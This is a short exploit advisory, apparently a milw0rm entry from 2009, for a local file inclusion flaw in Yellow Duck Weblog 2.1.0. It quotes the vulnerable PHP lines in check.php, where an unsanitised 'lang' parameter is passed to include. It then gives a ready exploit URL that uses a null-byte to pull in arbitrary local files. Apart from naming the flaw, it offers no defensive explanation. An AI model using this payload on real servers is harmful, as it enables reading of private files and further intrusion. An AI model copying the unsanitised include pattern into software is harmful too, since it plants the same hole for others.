22 lines
752 B
Text
Executable file
22 lines
752 B
Text
Executable file
=-=-local file include-=-=
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
|
|
script::Yellow Duck Weblog
|
|
-------------------------------------------------
|
|
Author: ahmadbady
|
|
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
download from:http://prdownload.berlios.de/ydframework/YDWeblog-2.1.0-final.tar.gz
|
|
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=--=-=-=-=-=-=-=-==-=-=
|
|
vul: /include/languages/check.php
|
|
|
|
$file = 'language_' . $_GET['lang'] . '.php'; line 9
|
|
|
|
include $file; line 20
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-
|
|
xpl:
|
|
/path/include/languages/check.php?lang=[local file]%00
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-
|
|
|
|
# milw0rm.com [2009-04-13]
|